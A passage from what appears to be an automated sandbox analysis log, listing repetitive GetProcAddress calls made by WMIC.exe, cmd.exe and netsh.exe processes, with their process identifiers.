00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter RtlRegisterFeatureConfigurationChangeNotification (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter NtQueryWnfStateData (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter RtlSubscribeWnfStateChangeNotification (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter RtlDisownModuleHeapAllocation (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter RtlQueryFeatureConfiguration (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter RtlUnregisterFeatureConfigurationChangeNotification (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter RtlUnsubscribeWnfNotificationWaitForCompletion (UID: 00000000-00001508) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00002820) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00002820) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00002820) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00002820) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00002820) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00002820) "netsh.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter BitBlt (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter CreateCompatibleBitmap (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter CreateCompatibleDC (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter CreateDIBSection (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter CreateFontIndirectW (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter CreateSolidBrush (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter DeleteDC (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter DeleteObject (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter GdiAlphaBlend (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter GdiGradientFill (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter GetCurrentObject (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter GetDIBits (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter GetDeviceCaps (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter GetObjectW (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter GetStockObject (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter SelectObject (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter SetBkMode (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter SetTextColor (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter MulDiv (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter MultiByteToWideChar (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter SleepEx (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter WinSqmAddToStream (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter DrawTextExW (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter EnumDisplaySettingsW (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter FillRect (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter GetDC (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter GetDCEx (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter GetDesktopWindow (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter GetMonitorInfoW (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter GetSysColor (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter GetThreadDesktop (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter InvalidateRect (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter LogicalToPhysicalPointForPerMonitorDPI (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter MonitorFromWindow (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter OffsetRect (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter RedrawWindow (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter ReleaseDC (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter SystemParametersInfoW (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00002060) "netsh.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00002060) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00002284) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00002284) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00002284) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00002284) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00002284) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00002284) "netsh.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter BitBlt (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter CreateCompatibleBitmap (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter CreateCompatibleDC (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter CreateDIBSection (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter CreateFontIndirectW (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter CreateSolidBrush (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter DeleteDC (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter DeleteObject (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter GdiAlphaBlend (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter GdiGradientFill (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter GetCurrentObject (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter GetDIBits (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter GetDeviceCaps (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter GetObjectW (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter GetStockObject (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter SelectObject (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter SetBkMode (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter SetTextColor (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter MulDiv (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter MultiByteToWideChar (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter SleepEx (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter WinSqmAddToStream (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter DrawTextExW (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter EnumDisplaySettingsW (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter FillRect (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter GetDC (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter GetDCEx (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter GetDesktopWindow (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter GetMonitorInfoW (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter GetSysColor (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter GetThreadDesktop (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter InvalidateRect (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter LogicalToPhysicalPointForPerMonitorDPI (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter MonitorFromWindow (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter OffsetRect (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter RedrawWindow (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter ReleaseDC (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter SystemParametersInfoW (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00008852) "netsh.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00008852) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00002736) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00002736) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00002736) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00002736) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00002736) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00002736) "netsh.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter BitBlt (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter CreateCompatibleBitmap (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter CreateCompatibleDC (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter CreateDIBSection (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter CreateFontIndirectW (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter CreateSolidBrush (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter DeleteDC (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter DeleteObject (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter GdiAlphaBlend (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter GdiGradientFill (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter GetCurrentObject (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter GetDIBits (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter GetDeviceCaps (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter GetObjectW (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter GetStockObject (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter SelectObject (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter SetBkMode (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter SetTextColor (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter MulDiv (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter MultiByteToWideChar (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter SleepEx (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter WinSqmAddToStream (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter DrawTextExW (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter EnumDisplaySettingsW (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter FillRect (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter GetDC (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter GetDCEx (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter GetDesktopWindow (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter GetMonitorInfoW (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter GetSysColor (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter GetThreadDesktop (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter InvalidateRect (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter LogicalToPhysicalPointForPerMonitorDPI (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter MonitorFromWindow (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter OffsetRect (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter RedrawWindow (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter ReleaseDC (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter SystemParametersInfoW (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00002664) "netsh.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00002664) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004672) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004672) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004672) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004672) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00004672) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00004672) "netsh.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter BitBlt (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter CreateCompatibleBitmap (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter CreateCompatibleDC (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter CreateDIBSection (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter CreateFontIndirectW (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter CreateSolidBrush (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter DeleteDC (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter DeleteObject (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter GdiAlphaBlend (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter GdiGradientFill (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter GetCurrentObject (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter GetDIBits (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter GetDeviceCaps (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter GetObjectW (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter GetStockObject (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter SelectObject (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter SetBkMode (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter SetTextColor (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter MulDiv (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter MultiByteToWideChar (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter SleepEx (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter WinSqmAddToStream (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter DrawTextExW (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter EnumDisplaySettingsW (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter FillRect (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter GetDC (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter GetDCEx (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter GetDesktopWindow (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter GetMonitorInfoW (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter GetSysColor (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter GetThreadDesktop (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter InvalidateRect (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter LogicalToPhysicalPointForPerMonitorDPI (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter MonitorFromWindow (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter OffsetRect (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter RedrawWindow (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter ReleaseDC (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter SystemParametersInfoW (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00001896) "netsh.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00001896) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003760) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003760) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00003760) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003760) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00003760) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00003760) "netsh.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter BitBlt (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter CreateCompatibleBitmap (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter CreateCompatibleDC (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter CreateDIBSection (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter 